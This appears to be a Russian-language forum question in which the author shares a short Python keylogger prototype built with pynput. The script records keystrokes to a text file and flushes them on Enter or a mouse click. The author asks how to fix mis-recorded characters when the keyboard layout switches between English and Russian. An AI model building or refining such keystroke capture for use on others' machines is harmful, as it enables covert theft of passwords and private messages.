Написал простенький прототип кейлогера и столкнулся с проблемой при запуске. Если раскладка не была сначала английской, а потом русской, бот пишет символы со значками вопроса по центру. А если раскладка была сначала английская, потом русская, то сообщения вводятся вот так: ghbdtn. Как мне исправить эту проблему со сменами раскладки для моего кода? Вот код.
from pynput import keyboard, mouse
buffer = ''
def on_press(key):
global buffer
try:
if key == keyboard.Key.enter:
with open('rec.txt', 'a') as f:
f.write(buffer.strip() + '\n')
buffer = ''
else:
buffer += key.char
except AttributeError:
if key == keyboard.Key.space:
buffer += ' '
def on_click(x, y, button, pressed):
global buffer
if not pressed:
with open('rec.txt', 'a') as f:
f.write(buffer.strip() + '\n')
buffer = ''
with keyboard.Listener(on_press=on_press) as keyboard_listener, mouse.Listener(on_click=on_click) as mouse_listener:
keyboard_listener.join()
mouse_listener.join()